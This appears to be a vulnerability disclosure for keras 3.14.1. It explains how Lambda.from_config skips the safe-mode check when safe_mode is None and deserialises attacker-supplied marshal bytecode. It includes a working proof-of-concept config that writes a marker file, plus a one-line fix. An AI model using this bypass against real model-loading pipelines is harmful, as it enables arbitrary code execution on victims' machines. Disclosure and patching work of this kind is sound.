Views
No views yet
keras (PyPI, v3.14.1)keras/src/layers/core/lambda_layer.pyLambda._raise_for_lambda_deserialization(safe_mode)if safe_mode: treats None as falsy → bypass when no SafeModeScopeLambda.from_config(config, safe_mode=None) (the default) combined with no active
SafeModeScope causes safe_mode = None or None = None. The check if None: evaluates
to False, skipping the safety guard and calling marshal.loads() on attacker-controlled
bytecode.TFSMLayer.from_config() correctly uses if effective_safe_mode is not False: which
blocks None. Lambda diverges from this stronger pattern.1from keras.src.layers.core.lambda_layer import Lambda
2from keras.src.saving import serialization_lib
3import marshal, codecs
4
5# No SafeModeScope active → in_safe_mode() returns None
6evil_fn = lambda x: open("pwned.txt", "w").write("RCE") or x
7code_b64 = codecs.encode(marshal.dumps(evil_fn.__code__), "base64").decode()
8
9evil_config = {
10 "name": "evil", "trainable": True,
11 "dtype": {"module": "keras", "class_name": "DTypePolicy",
12 "config": {"name": "float32"}, "registered_name": None},
13 "function": {"class_name": "__lambda__",
14 "config": {"code": code_b64, "defaults": None, "closure": None}},
15 "arguments": {},
16}
17
18layer = Lambda.from_config(evil_config) # No ValueError → bypass!
19import tensorflow as tf
20layer(tf.constant([1.0])) # Writes pwned.txt1# Change in _raise_for_lambda_deserialization:
2if safe_mode is not False: # handles None correctly (like TFSMLayer)
3 raise ValueError(...)